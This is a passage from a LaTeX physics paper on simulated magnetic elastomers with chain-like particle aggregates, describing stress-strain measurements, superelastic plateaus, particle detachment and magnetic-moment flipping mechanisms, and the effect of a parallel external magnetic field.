They may also translate in the $y$- and $z$-direction, however, with the constraint that the center-of-mass displacement of all particles in a clamp is zero.
This keeps the centers of the clamps fixed in the $yz$-plane and prevents an overall rotation of the long axis of the system.
Finally, we prevent global rotations of the whole system around its long axis at all times.
For this purpose, at each timestep, we determine the global rotational modes from which the rotation is eliminated.
Overall, this definition of the clamps differs from our approach in Ref.~\cite{Cremer2015_ApplPhysLett}.
There, the clamps consisted of the complete outer $10\%$ of the system at both ends, that is, besides the particles also all matrix mesh nodes in these volumes were included.
After switching on the magnetic moments, we perform an initial equilibration process.
During this period, the clamps are allowed to relatively translate along the $x$-axis.
However, the relative distance between the particles in a clamp is kept constant along the $x$-direction.
Due to this initial equilibration, we can observe an initial matrix deformation and define the resulting state as unstretched.
This sets the equilibrium distance $L_0$ between the clamps as the $x$-separation between the innermost clamped particles.
To apply a uniaxial strain, we increase the distance between both clamps in small steps, displacing all clamped particles uniformly.
So we can define the uniaxial strain as $\epsilon_{xx} = \Delta L / L_0$, where $\Delta L$ is the momentary increase in the distance between both clamps.
After each step, we equilibrate the sample again under the constraint of keeping the $x$-positions of the clamped particles fixed.
Subsequently, we can extract the force $F$ that has to be applied to the clamps to maintain the system in the prescribed strained state.
We continue this stress-strain measurement up to a maximum strain of $\Delta L / L_0 = 150\%$ and then gradually unload the system again.
To check the reversibility of the deformation, we perform several loading and unloading cycles.
\section{Definition of the numerical systems}
\label{sec.definition_of_systems}
Within our numerical samples defined above, we distinguish between two scenarios of how the magnetic moments are coupled to the surrounding matrix via their carrying particles.
Systems showing the first one, which we term \emph{free} systems, feature magnetic moments that can freely rotate relatively to the particle frames and surrounding matrix, see also Ref.~\cite{Cremer2015_ApplPhysLett}.
In this case, a reorientation of a magnetic moment does not directly induce a deformation of the matrix surrounding the carrying particle.
Computationally, we treat this system by keeping the orientations of the magnetic moments and the orientations of the carrying particles as separate degrees of freedom.
During the initial equilibration, within the particles constituting one chain, the magnetic moments tend to align parallel to the chain axis.
The magnetic moments within neighboring chains have the tendency to align in opposite directions to minimize the overall magnetic interaction energy.
Figure~\ref{fig.snapshot_free_equi} illustrates this situation by showing a snapshot of an equilibrated \emph{free} system before stretching.
A cut along the cross-sectional center plane perpendicular to the chain axes in Fig.~\ref{fig.snapshot_free_equi} stresses the different alignment of the magnetic moments in different chains.
\begin{figure}[b!]
\centering
\subfloat{\label{fig.snapshot_free_equi}}
\subfloat{\label{fig.snapshot_covrightright_equi}}
\includegraphics[width = 1.0\columnwidth]{Fig2_combined-compressed}
\caption{Snapshots of characteristic samples containing chain-like aggregates in the equilibrated unstretched state. The two displayed systems are generated from the same initial placement of the rigid embedded particles. Yet, the way of subsequent anchoring of the magnetic moments, here indicated by small bar magnets, is different, leading to the two different equilibrated states. The matrix was tessellated into a mesh of tetrahedra, those faces of which that constitute the overall system boundaries are depicted explicitly. \protect\subref{fig.snapshot_free_equi} \emph{Free} system, where the magnetic moments can rotate freely with respect to the carrying particles. This leads to opposite alignment of the magnetic moments in different chains, as indicated in the top right for the cross-sectional center plane perpendicular to the chain axes. \protect\subref{fig.snapshot_covrightright_equi} Snapshot for the \emph{cov$\,\rightrightarrows$} system, where the magnetic moments are fixed to the particle axes, likewise including a cross-sectional cut. The snapshot for the \emph{cov$\,\leftrightarrows$} system is by definition again the one shown in \protect\subref{fig.snapshot_free_equi}, because in this system the magnetic moments are fixed to the particle axes only after the initial equilibration in the \emph{free} system.}
\label{fig.snapshots_equi}
\end{figure}
In the opposite scenario, we assume that the magnetic moments are fixed to the axes of the carrying particles, while the particles are covalently embedded into the elastic matrix.
A torque on a magnetic moment is then equivalent to a torque on the carrying particle, which in turn leads to a deformation of the surrounding matrix.
We mark these systems by the term \emph{cov} and represent them computationally by rigidly coupling the magnetic moment orientations to the particles.
Consequently, the initial orientations of the magnetic moments have a determining influence on the structure of the \emph{cov} samples and, thus, on their stress-strain behavior.
We distinguish between two sub-scenarios and term the corresponding systems \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$}.
In the \emph{cov$\,\rightrightarrows$} systems, we define all magnetic moments in the sample to initially point into the same direction parallel to the chains.
During the initial equilibration, the orientations of the magnetic moments barely change as particle rotations are energetically expensive.
The magnetic moments within all chains are still aligned in the same direction, see Fig.~\ref{fig.snapshot_covrightright_equi} for a snapshot.
This is different in the \emph{cov$\,\leftrightarrows$} systems: here we take the equilibrated state from the \emph{free} systems, but then fix the magnetic moments to the particle axes before stretching the sample.
As a result, the magnetic moments are rigidly anchored to the carrying particles and are arranged into the chains with alternating alignment, see again Fig.~\ref{fig.snapshot_free_equi} for a snapshot.
The \emph{cov$\,\leftrightarrows$} system constitutes an in-between case of the \emph{free} and \emph{cov$\,\rightrightarrows$} systems.
We can, therefore, use it to test separately the effect of the two main modifications from the \emph{free} to the \emph{cov$\,\rightrightarrows$} system: anchoring the magnetic moments to the particle frames (\emph{free} to \emph{cov$\,\leftrightarrows$}) and having all magnetic moments point into the same direction (\emph{cov$\,\leftrightarrows$} to \emph{cov$\,\rightrightarrows$}).
If we would apply an external magnetic field before the magnetic moments are anchored, we would destroy the alternating chain morphology that we want to study.
Thus, when studying the influence of an external magnetic field on these alternating chain systems, we apply it after the magnetic moments have been anchored.
Subsequently, we reequilibrate the systems under these new conditions before performing the stress-strain measurement.
\section{Results and discussion}
\label{sec.results_and_discussion}
In the following, we will present and discuss our results for the three systems \emph{free}, \emph{cov$\,\rightrightarrows$}, and \emph{cov$\,\leftrightarrows$} as defined above.
We begin with vanishing external magnetic field and then proceed to the situation of magnetic fields applied parallel and perpendicular to the stretching direction.
For each system and each magnetic field, we show snapshots as well as the uniaxial stress-strain curves and discuss the various mechanisms that lead to our results.
Important insight can be gained by statistically analyzing the orientations of the magnetic moments in the systems.
We evaluate them by considering the nematic order parameter $S_m$, which is defined as the largest eigenvalue of the nematic order parameter tensor \cite{deGennes1995_book}
\begin{equation}
\mathbf{Q}_m = \frac{1}{N} \sum_{i = 1}^N \left( \frac{3}{2} \mathbf{\hat{m}}_i \otimes \mathbf{\hat{m}}_i - \frac{1}{2} \mathbf{\hat{I}} \right) \, .
\label{eq.nematic_tensor_order_parameter}
\end{equation}
Here the $\mathbf{\hat{m}}_i$ are the magnetic moment orientations of the $N$ particles in the system, $\otimes$ marks the dyadic product, and $\mathbf{\hat{I}}$ is the unity matrix.
$S_m$ measures the degree of alignment of the input orientations without distinguishing between an orientation $\mathbf{\hat{m}}_i$ and its opposing orientation $-\mathbf{\hat{m}}_i$.
Perfect alignment leads to $S_m = 1$, while in the absence of global orientational order $S_m = 0$.
In addition to the magnetic order in the systems, also the structural order contains useful information.
It can be quantified in a very similar way by defining another nematic order parameter $S_r$ for the orientations $\mathbf{\hat{r}}_{i}$ of the separation vectors from each particle $i$ to its nearest-neighbor.
As will be revealed later in more detail, in the \emph{free} system a ``flipping mechanism'' \cite{Cremer2015_ApplPhysLett} plays an important role.
``Flips'' refer to events during which some magnetic moments suddenly change their direction with respect to the stretching axes from parallel towards perpendicular.
They are induced by the stress-induced structural change of the system.
To appropriately characterize this flipping mechanism, we define special modified nematic order parameters $\tilde{S}_m$ and $\tilde{S}_r$ as described here for $\tilde{S}_m$.
First, to get rid of the distinction between different perpendicular directions, we determine the projections $\hat{m}_i^\parallel$ of the magnetic moment orientations $\mathbf{\hat{m}}_i$ onto the stretching axis as well as the projections $\hat{m}_i^\perp$ into the plane perpendicular to the stretching axis.
Then we define a two-dimensional nematic order parameter tensor as
\begin{equation}
\mathbf{\tilde{Q}}_m = \frac{1}{N} \sum_{i = 1}^N \begin{pmatrix}
2 \big(\hat{m}_i^\parallel\big)^2 - 1 & 2 \hat{m}_i^\parallel \hat{m}_i^\perp \\[.2cm]
2 \hat{m}_i^\parallel \hat{m}_i^\perp & 2 \big(\hat{m}_i^\perp\big)^2 - 1 \\
\end{pmatrix}
\label{eq.nematic_tensor_order_parameter_projected}
\end{equation}
and obtain $\tilde{S}_m$ as the largest eigenvalue of this tensor.
The calculation of $\tilde{S}_r$ is analogous.
\subsection{Vanishing external magnetic field ($\mathbf{B} = 0$)}
\label{subsec.vanishing_field}
We now start by quasistatically stretching the three systems along the chain axes in the absence of an external magnetic field.
The elongation is stepwise increased to a maximum and then, in the inverse way, reduced back to zero.
The necessary forces on the clamps are recorded.
Figure~\ref{fig.nofieldcomp_stressstrain} shows the strongly nonlinear stress-strain behaviors resulting for the three systems.
In the beginning, all systems show an almost identically steep increase of the stress with the imposed strain.
Then, from a strain of about $\Delta L / L_0 \approx 10\%$ up to $\Delta L / L_0 \approx 50\%$, a pronounced superelastic plateau follows.
In this regime, a small increase in the applied load leads to a huge deformation that is completely reversible.
The shape of the superelastic plateau differs among the systems.
In the \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$} systems the plateau is almost completely flat.
However, in our strain-controlled measurements we find a regime of negative slope \cite{Chernenko2003_JApplPhys} for the \emph{free} system.
Moreover and in contrast to the other systems, we here observe considerable hysteresis for the \emph{free} system in the strain interval containing the superelastic plateau.
In all cases, subsequent to the plateau, the slope partially recovers, becomes relatively constant, and does not differ much among the different systems.
The main mechanism responsible for the nonlinearities in all systems is a stress-induced detachment mechanism \cite{Cremer2015_ApplPhysLett}.
We briefly illustrate how it can lead to the change from the steep slope at the origin of the stress-strain curve to the subsequent superelastic plateau.
Consider again the unstretched states depicted in Fig.~\ref{fig.snapshots_equi}.
In these states, the chains are contracted because of the mutual attraction between the magnetic moments of neighboring particles.
Thus, the elastic material in the gaps between particles is pre-compressed and the particles are close to each other.
In this situation, the dipolar attraction is strong, since its interaction energy, see Eq.~\eqref{eq.dipole_potential_energy}, scales with the inverse cube of the distance.
To stretch the system, work has to be performed against this strong attraction between the particles, which accounts for the steep initial increase in the stress-strain curve.
However, when a section of a chain is detached a little from the remainder, the attraction between both parts weakens considerably.
Therefore, once overcoming the magnetic barrier, the displaced chain section can be detached from the remainder of the chain.
Such a detachment event releases the energy stored in the gap between the detached particles and allows a sudden elongation of the system.
\begin{figure}[t]
\centering
\includegraphics[width = 1.0\columnwidth]{nofieldcomp_stressstrain}
\caption{Uniaxial stress-strain curves for the \emph{free}, \emph{cov$\,\rightrightarrows$}, and \emph{cov$\,\leftrightarrows$} systems as well as for a corresponding system containing unmagnetized particles (\emph{unmag}) when stretching along the axes of the chain-like aggregates. The magnetized samples show a superelastic plateau between $\Delta L / L_0 \approx 10\%$ and $\Delta L / L_0 \approx 50\%$. In this regime, they can be deformed by a significant amount by only barely increasing the load. In contrast to that, the curve for the unmagnetized case lacks this appealing feature. The solid lines signify loading and the dotted lines unloading processes, as in all subsequent figures. In the \emph{free} system, our curves show pronounced hysteresis.}
\label{fig.nofieldcomp_stressstrain}
\end{figure}
\begin{figure*}[htb]
\centering
\centering
\subfloat{\label{fig.snapshot_free_35}}
\subfloat{\label{fig.snapshot_covrightright_100}}
\subfloat{\label{fig.snapshot_covleftright_100}}
\subfloat{\label{fig.snapshot_unmag_100}}
\includegraphics[width = 1.0\textwidth]{Fig4_combined-compressed}
\caption{\protect\subref{fig.snapshot_free_35} Snapshot of a \emph{free} sample stretched by $35\%$. The freely rotating magnetic moments in this system can minimize their magnetic interaction by aligning along the direction of shortest interparticle distance. When the sample is stretched, the perpendicular direction becomes more and more favored, because the interparticle distance within the chains is increased, while near-incompressibility of the sample forces neighboring chains to approach each other. In the depicted situation, about half of the particles are detached from the chains, their magnetic moments having performed a flip from a direction parallel to the stretching axis towards perpendicular.
In the \protect\subref{fig.snapshot_covrightright_100} \emph{cov$\,\rightrightarrows$} and \protect\subref{fig.snapshot_covleftright_100} \emph{cov$\,\leftrightarrows$} systems, rotations of the magnetic moments necessitate rotations of the carrying particles, causing restoring torques by the surrounding matrix.
Still, significant particle rotations can be observed in these samples stretched by $100\%$ with respect to the unstretched states in Fig.~\ref{fig.snapshots_equi}, caused, however, primarily by inhomogeneous deformations of the surrounding matrix due to the particle embedding.
\protect\subref{fig.snapshot_unmag_100} Snapshot of an unmagnetized (\emph{unmag}) system starting from the same configuration. The bars indicate the initially horizontal particle axes to illustrate the particle rotations. They show a similar pattern as the systems in \protect\subref{fig.snapshot_covrightright_100},\protect\subref{fig.snapshot_covleftright_100} although magnetic interactions are absent.}
\label{fig.snapshots_nofield}
\end{figure*}
Figure~\ref{fig.snapshot_free_35} shows a snapshot of a \emph{free} sample stretched by $35\%$, illustrating this process.
In the depicted situation, some particles are detached from the chains with increased particle separation, while smaller segments are still intact.
Each individual detachment event corresponds to a small localized drop in the stress-strain curve.
In a very small and ordered system, this would lead to a spiky appearance of the stress-strain relation as we have demonstrated for a single chain in Ref.~\cite{Cremer2015_ApplPhysLett}.
However, averaging over the many detachment events that occur in a larger, inhomogeneous system with many parallel chains yields a smooth superelastic plateau as in Fig.~\ref{fig.nofieldcomp_stressstrain}.
Upon unloading the system, the individual particles can simply reattach, reform the chains, and restore the energy in their separating gaps, so that the detachment mechanism is reversible.
The second mechanism contributing to the observed superelasticity is the flipping mechanism.
It only plays a significant role in the \emph{free} system.
In the unstretched sample, the magnetic moments align along the chain axes in a head-to-tail configuration to minimize their magnetic interaction energy, see Fig.~\ref{fig.snapshots_equi}.
This situation changes when the sample is sufficiently stretched in the direction parallel to the chains.
The distances between particles in the same chain eventually increase, see Fig.~\ref{fig.snapshot_free_35} and Ref.~\cite{Cremer2015_ApplPhysLett}.
Meanwhile, volume preservation in our nearly incompressible systems enforces a contraction in the perpendicular direction, driving different chains closer to each other.
Eventually, the interparticle distances in the parallel and perpendicular directions become approximately equal for subsets of particles.
For the involved magnetic moments this means a sudden change in their preferred orientation from parallel to the stretching axis towards perpendicular.
In the \emph{free} system, the moments can easily seize this opportunity to minimize their magnetic interaction energy by sudden reorientation.
This constitutes a flip event.
Flips are associated with drops in the stress-strain curve for the following reason.
As long as the magnetic moments participating in a flip event are still aligned parallel to the stretching direction, their magnetic interaction energy increases with the strain.
However, once the flip has occurred and they have aligned towards perpendicular, their magnetic interaction energy decreases with the stretching.
Therefore, during a flip event, the slope of the magnetic interaction energy suddenly changes for the participating magnetic moments.
Since the stress is the derivative of the energy with respect to the strain, this causes a drop in the stress-strain curve.
Or, discussing the situation directly in the force picture: as long as the magnetic moments align along the stretching axis, they counteract the elongation, which requires a higher stretching force; once they flip, they repel each other along the stretching axis, which supports the elongation.
In an inhomogeneous sample, flips are local events and can occur over a wide range of global strain magnitudes.
As a result, the individual drops are smoothened out in the stress-strain curves resulting from our characteristic systems.
Consider again the snapshot in Fig.~\ref{fig.snapshot_free_35}.
Compared to the particles in the still intact chain parts, the detached particles have a larger interparticle distance in the stretching direction and their magnetic moments indeed prefer an orientation towards perpendicular to that direction.
When a detachment event occurs, the corresponding sample section elongates, which can in turn trigger flip events.
Conversely, a reorientation of magnetic moments towards a perpendicular direction can induce detachment.
So in our characteristic \emph{free} systems, the detachment and flipping mechanisms are intertwined.
Yet, considering suitable idealized model situations, both mechanisms can be studied in isolation, see Ref.~\cite{Cremer2015_ApplPhysLett}.
The interplay between both mechanisms supports the hysteresis observed in our stress-strain curves for the \emph{free} system, see Fig.~\ref{fig.nofieldcomp_stressstrain}.
The magnetic attractions pull the particles together along the orientation of the magnetic moments, which in turn self-strengthens the magnetic interaction.
In this way, an energetic barrier is created that needs to be overcome every time the magnetic moments are pulled apart and flip, either during initial stretching, or in the flipped state during unloading.
\begin{figure}[htb]
\centering
\includegraphics[width=1.0\columnwidth]{free-nofield_nematicOrder-projected}
\caption{Degrees of magnetic order $\tilde{S}_m$ and structural order $\tilde{S}_r$ for the \emph{free} system, following the definition in Eq.~\eqref{eq.nematic_tensor_order_parameter_projected}. For vanishing strain, alignment along the initial anisotropy axis is preferred both magnetically and structurally. When the strain is increased, detachment and flip events occur and the system enters a mixed state where the parallel direction becomes less dominant in favor of directions perpendicular to the stretching axis. The minimum is reached at a strain of $\Delta L / L_0 \approx 35\%$, corresponding to the situation depicted in Fig.~\ref{fig.snapshot_free_35}. Subsequently, the degrees of order increase again until all possible detachments and flips have occurred. The hysteretic behavior observed for the stress-strain curves in Fig.~\ref{fig.nofieldcomp_stressstrain} shows up as well in the order parameters.}
\label{fig.free-nofield_nematicOrder-projected}
\end{figure}
We can further quantify the flipping mechanism by statistically analyzing the orientations of the magnetic moments.
Let us evaluate the nematic order parameters $\tilde{S}_m$ and $\tilde{S}_r$ defined in Eq.~\eqref{eq.nematic_tensor_order_parameter_projected} as a function of the imposed strains.
$\tilde{S}_m$ measures the degree of alignment of the magnetic moments and $\tilde{S}_r$ does the same for the separation vectors between nearest-neighboring particles.
The result is plotted in Fig.~\ref{fig.free-nofield_nematicOrder-projected}.
For low strains, magnetic moments are aligned parallel to the stretching axis, because this is the direction of smallest interparticle distance.
Consequently the system is in a state of high magnetic and structural order, reflected by the high levels of $\tilde{S}_m$ and $\tilde{S}_r$.
Upon increasing the strain, the interparticle distances in the stretching direction increase, particles are detached and magnetic moments flip, taking the system into a mixed state.
$\tilde{S}_m$ and $\tilde{S}_r$ simultaneously decrease and reach a minimum at $\Delta L / L_0 \approx 35\%$, where they almost vanish.
This state is depicted in the snapshot in Fig.~\ref{fig.snapshot_free_35}, where about half of the particles are detached from the chains with their magnetic moments flipped towards a perpendicular direction.
From there on, both $\tilde{S}_m$ and $\tilde{S}_r$ increase again until finally all particles are detached and all magnetic moments have flipped.
The strain regime where the order parameters change significantly coincides with the position of the superelastic plateau in the stress-strain curve in Fig.~\ref{fig.nofieldcomp_stressstrain}.
Finally, at the highest strains, both order parameters again decrease slightly when the lateral contraction of the system squeezes the particles together.
This causes them to evade each other when they come too close and makes them shift relatively to each other along the stretching axis, which disturbs the perpendicular alignment.
Also for the order parameters, we here observe again the hysteresis discussed already before in the context of the stress-strain curve.
Let us now come back to the \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$} systems where the magnetic moments cannot rotate relatively to the particle frames.
Then magnetic reorientations cost a significant amount of elastic energy, as this requires a corotation of the elastic matrix directly anchored to the particle surfaces.
Figures~\ref{fig.snapshot_covrightright_100},\subref*{fig.snapshot_covleftright_100} show snapshots of corresponding samples at a strain of $100\%$.
There we can nonetheless observe particle rotations.
These particle rotations, however, do not apparently lead to a configuration that minimizes the magnetic interaction energy.
In fact, the primary reason for these rotations is not the magnetic interaction between particles, but inhomogeneities in the stiffness across the system.
We recall that the particles in our systems are rigid inclusions of finite extension.
Consequently, the particles are local sources of elevated rigidity within the soft elastic matrix.
Already in an unmagnetized system, such rigid inclusions lead to an overall stiffer elastic behavior of the whole system \cite{Einstein1906_AnnPhysBerlin,Einstein1911_correction_AnnPhysBerlin,LopezPamies2013_JMechPhysSolids}.
In our case, an increase of a factor of $\sim 7$ in the elastic modulus was observed \cite{Cremer2015_ApplPhysLett}.
Placing the particles into the randomly shifted chains when designing our systems adds a certain randomness to the distribution of our localized rigidities.
When stretching the systems, the inhomogeneous distribution of rigidity can lead to local shear strains that rotate the embedded rigid particles.
Of course, this does not require the particles to be magnetized and occurs in unmagnetized systems ($m = 0$) just as well.
In Fig.~\ref{fig.snapshot_unmag_100} we show a snapshot of an unmagnetized system stretched by $100\%$ for demonstration.
There we indicate the initially horizontal particle axes by bars to visualize the particle rotations.
The resulting patterns of particle rotation are qualitatively similar to the ones in the \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$} systems.
\begin{figure}[t!]
\centering
\subfloat{\label{fig.nofieldcomp_nematicOrder}}
\subfloat{\label{fig.nofieldcomp_nematicOrder-nN}}
\includegraphics[width = 1.0\columnwidth]{Fig6_combined}
\caption{ \protect\subref{fig.nofieldcomp_nematicOrder} Nematic order parameter $S_m$ according to Eq.~\eqref{eq.nematic_tensor_order_parameter} for the magnetic moment orientations of the \emph{free}, \emph{cov$\,\rightrightarrows$}, \emph{cov$\,\leftrightarrows$} systems, as well as for an unmagnetized (\emph{unmag}) system as function of the imposed strain $\Delta L / L_0$. In the latter three systems, there is a regime of high magnetic order at low strains. At a strain of $\Delta L / L_0 \approx 35\%$ in the \emph{unmag} system and $\Delta L / L_0 \approx 50\%$ in the \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$} systems, there is a crossover to a regime of declining order, as inhomogeneous stresses begin to rotate the particles. In the \emph{free} system, again a minimum indicates the occurrence of flip events. The recovery of $S_m$ beyond the minimum shows, that there is one globally preferred perpendicular direction emerging subsequent to flipping. \protect\subref{fig.nofieldcomp_nematicOrder-nN} Nematic order parameter $S_r$ for the nearest-neighbor separation vectors in the same systems. All curves have a minimum at the point where the preferred direction switches from parallel to the stretching axis towards perpendicular. In the magnetized systems, this minimum is postponed to higher strains. In these systems, the detachment barrier and magnetic interactions along the chains stabilize the chain structure, which is then preserved up to higher strains.}
\label{fig.nofieldcomp_nematicOrders}
\end{figure}
Again we use statistical analysis to further quantify the particle rotations.
Due to the different mechanism when compared to the flipping process, we are here only interested in the degree of alignment along the initial anisotropy axis.
Therefore, we use the nematic order parameter $S_m$ defined in Eq.~\eqref{eq.nematic_tensor_order_parameter} for quantification.
The results are plotted in Fig.~\ref{fig.nofieldcomp_nematicOrder} as a function of the imposed strain for the \emph{free}, \emph{cov$\,\rightrightarrows$}, and \emph{cov$\,\leftrightarrows$} systems, as well as for the unmagnetized (\emph{unmag}) case.
Let us first consider the \emph{unmag} system.
Up to a strain of $\Delta L / L_0 \approx 35\%$, particle rotations barely seem to occur, as $S_m$ stays close to $1$.
Then, there is a crossover to a regime of approximately linear decay of $S_m$. The particles rotate more and more away from the initial axes of alignment as a consequence of the inhomogeneous stiffness.
The behavior in the \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$} systems is very similar, the crossover to the regime of declining order merely occurs at a higher strain of $\Delta L / L_0 \approx 50\%$, which also roughly marks the end of the superelastic plateau in Fig.~\ref{fig.nofieldcomp_stressstrain}.
In these systems, the dipolar magnetic interactions along the initial, still intact chains counteract particle rotations and stabilize the alignment up to higher strains.
When the detachment of the particles from the chains has been completed at the end of the superelastic plateau, this stabilizing magnetic interaction disappears, rendering the particles susceptible to shear stresses originating from the system inhomogeneity.
The curve for the \emph{cov$\,\leftrightarrows$} system is always below the one for \emph{cov$\,\rightrightarrows$}, because already the initial unstretched state is less ordered, see again Fig.~\ref{fig.snapshots_equi}.
The behavior of $S_m$ for the \emph{free} system is obviously completely different and should rather be compared with $\tilde{S}_m$ in Fig.~\ref{fig.free-nofield_nematicOrder-projected}.
$S_m$ shows a rapid initial decay up to a minimum and afterwards recovers to reach a relatively low but constant level.
This is despite the fact that $S_m$, unlike $\tilde{S}_m$, distinguishes between different directions perpendicular to the stretching direction.
Therefore, beyond the superelastic plateau, one particular axis perpendicular to the stretching axis must emerge along which the magnetic moments preferably align.
Such a direction forms as nearby flipped magnetic moments tend to align by magnetic dipolar interaction.
In turn, this favors further contraction along such an emerging axis of alignment, providing a self-supporting mechanism.
Inherent structural inhomogeneities will affect this mechanism.
The same analysis as for $S_m$ can be conducted for the nematic order parameter $S_r$ of the separation vectors between nearest-neighbors.
It is plotted for all systems in Fig.~\ref{fig.nofieldcomp_nematicOrder-nN}.
$S_r$ starts at a high value for all systems, because in the unstretched state the nearest-neighbor of each particle is always along the chain.
The more the sample is stretched, the more the distances along the chains increase, while the distances between separate chains decrease due to volume preservation.
Thus, it becomes increasingly likely that the nearest-neighbor for a particle is a member of a different chain.
In the \emph{unmag} system, there is no stabilizing attractive interaction keeping the chains together.
So the minimum, where nearest-neighbor directions predominantly switch, is reached relatively soon.
In the other systems, however, the magnetic attraction makes the chains subject to the detachment mechanism.
Segments detach from the chains, while the remainder of the chains remains intact.
As a result, partial structural order is preserved up to much higher strains.
Again, the strain regime where $S_r$ changes a lot due to the changes in structural order coincides with the strain interval of the superelastic plateau in the stress-strain curves in Fig.~\ref{fig.nofieldcomp_stressstrain}.
\subsection{External magnetic field along the stretching axis ($\mathbf{B} = B_x \mathbf{\hat{x}}$)}
\label{subsec.parallel_field}
\begin{figure*}[bth]
\centering
\subfloat{\label{fig.free_Bx_stressstrain}}
\subfloat{\label{fig.snapshot_free-Bx1_100}}
\subfloat{\label{fig.free_Bx_nematicOrder}}
\subfloat{\label{fig.free_Bx_nematicOrder-nN}}
\includegraphics[width = 1.0\textwidth]{Fig7_combined-compressed}
\caption{Results for the \emph{free} system under the influence of an external magnetic field of varying strength, applied parallel to the stretching axis. \protect\subref{fig.free_Bx_stressstrain} Uniaxial stress-strain behavior$^1$. The external field gradually deactivates the flipping mechanism. As a result the superelastic plateau is flattened, the dip at $\Delta L / L_0 \approx 50\%$ and the hysteresis are removed until the behavior resembles the one for the \emph{cov$\,\rightrightarrows$} system in Fig.~\ref{fig.nofieldcomp_stressstrain} for vanishing external magnetic field. \protect\subref{fig.snapshot_free-Bx1_100} Snapshot showing a \emph{free} system subject to an external field of $B_x = 1 B_0$ at a strain of $\Delta L / L_0 = 100\%$. Even in this highly strained state, the magnetic moments assume oblique angles instead of performing full flips towards a perpendicular direction.
\protect\subref{fig.free_Bx_nematicOrder} Degree of magnetic order $\tilde{S}_m$ and \protect\subref{fig.free_Bx_nematicOrder-nN} degree of structural positional order $\tilde{S}_r$ as defined by Eq.~\eqref{eq.nematic_tensor_order_parameter_projected}, indicating the deactivation of the flipping mechanism with increasing $B_x$. The minimum in $\tilde{S}_m$ is gradually removed by the parallel external magnetic field. Meanwhile, the minimum in $\tilde{S}_r$ is shifted slightly.}
\label{fig.free_Bx}
\end{figure*}
Applying an external magnetic field parallel to the chain and stretching axis (the $x$-direction) when recording the stress-strain behavior changes the situation fundamentally in all three systems \emph{free}, \emph{cov$\,\rightrightarrows$}, and \emph{cov$\,\leftrightarrows$}.
In the \emph{free} system, turning on the field after the initial equilibration causes all magnetic moments to point into the same direction along the field as opposed to the situation in Fig.~\ref{fig.snapshot_free_equi}.
There, the magnetic moments carried by particles in different chains can show opposite magnetic alignment.
In the \emph{free} system as well as in the \emph{cov$\,\rightrightarrows$} system, the field also introduces an additional energetic penalty for the rotation of magnetic moments away from the chain axes.
The detachment mechanism is not impeded by this, as it relies on the strong magnetic attraction between neighboring particles within the same chain and the storage of elastic energy within the compressed gap material.
The magnetic moments are not rotated away from the alignment along the chain axes during this process.
In contrast to that, the flipping mechanism is based on reorientations away from the direction of the applied magnetic field and is, therefore, affected by the aligning magnetic field.
In the \emph{cov$\,\leftrightarrows$} system featuring anchored magnetic moments of opposite alignment, the external magnetic field has a particularly interesting effect.
Roughly half of the magnetic moments are aligned with the field.
The remaining moments are misaligned and the corresponding particles would need to rotate by about 180 degrees to minimize the interaction energy with the external magnetic field.
\addtolength{\skip\footins}{-4pt}
\footnotetext[1]{In Ref.~\cite{Cremer2015_ApplPhysLett}, the magnetic field strengths in the figures containing stress-strain curves were not scaled correctly. Instead of $10 B_0$, $20 B_0$, $30 B_0$ it should read $1 B_0$, $2 B_0$, $3 B_0$, respectively.}
Figure~\ref{fig.free_Bx} revisits our results for the \emph{free} systems for various applied magnetic field strengths.
The stress-strain curves in Fig.~\ref{fig.free_Bx_stressstrain} illustrate the tunability of the material\footnotemark[1].
Already a small external magnetic field of $B_x = 1 B_0$ removes the dip at $\Delta L / L_0 \approx 50\%$, flattens the superelastic plateau, and also reduces the hysteresis considerably.
As noted in Ref.~\cite{Cremer2015_ApplPhysLett}, the dip was mainly generated by flipping of magnetic moments.
When a stronger field is applied, the shape of the superelastic plateau becomes almost identical to the one for the \emph{cov$\,\rightrightarrows$} system in the case of vanishing external magnetic field, see Fig.~\ref{fig.nofieldcomp_stressstrain}.
The snapshot in Fig.~\ref{fig.snapshot_free-Bx1_100} shows a \emph{free} system for $B = 1 B_0$ at a strain of $\Delta L / L_0 = 100\%$.
It reveals, that the magnetic moments do not perform complete flips anymore and instead show oblique orientation angles.
In summary, the flipping transition and the connected bumps in the superelastic plateau together with the hysteresis can be deactivated by the field.
The plot in Fig.~\ref{fig.free_Bx_nematicOrder} of the nematic order parameter $\tilde{S}_m$ quantifying the magnetic order in the system provides further evidence that the field impedes the flipping mechanism.
An external magnetic field of $B_x = 1 B_0$ is sufficiently strong to smoothen the sharp local minimum in $\tilde{S}_m$ corresponding to the transition from a state of parallel towards perpendicular magnetic alignment with respect to the stretching axis.
Stronger fields enforce a parallel alignment, remove the local minimum in $\tilde{S}_m$ and thus deactivate the flipping mechanism.
Only the detachment mechanism remains active.
Meanwhile, the structural positional order in the sample does not seem to be influenced significantly by the external magnetic field, as the plots of the nematic order parameter $\tilde{S}_r$ for the separation vectors between nearest-neighbors in Fig.~\ref{fig.free_Bx_nematicOrder-nN} suggest.
The minimum where the most likely nearest-neighbor direction switches from parallel towards perpendicular is shifted slightly.
Beyond the minimum, $\tilde{S}_r$ decreases with increasing $B_x$.
This results from an arising competition between two effects.
On the one hand, due to overall volume preservation, the particles are driven together along the direction perpendicular to the stretching axis as before.
On the other hand, flips are hindered by the external magnetic field, or even suppressed completely.
Therefore, the magnetic moments cannot support the perpendicular approach anymore as efficiently, or even counteract it due to the magnetic repulsion when the magnetic moments are forced into the direction of the external magnetic field.
This also largely removes the hysteresis from our curves.
Let us discuss the \emph{cov$\,\rightrightarrows$} system next.
The results are summarized in Fig.~\ref{fig.covrightright_Bx}.
Figure~\ref{fig.covrightright_Bx_stresstrain} shows the corresponding stress-strain behavior.
Up to the end of the superelastic plateau, the curves for different external magnetic field strengths hardly differ.
This is not surprising, since we have established before that the flipping mechanism plays no role for these systems and that the detachment mechanism is not impeded by an external magnetic field parallel to the chains.
However, beyond the plateau, where we have a regime of relatively constant increase of the stress with the imposed strain, we can observe a stiffening of the system when a higher field strength is applied.
Only at very high strain, the slopes for all different field strengths become similar again.
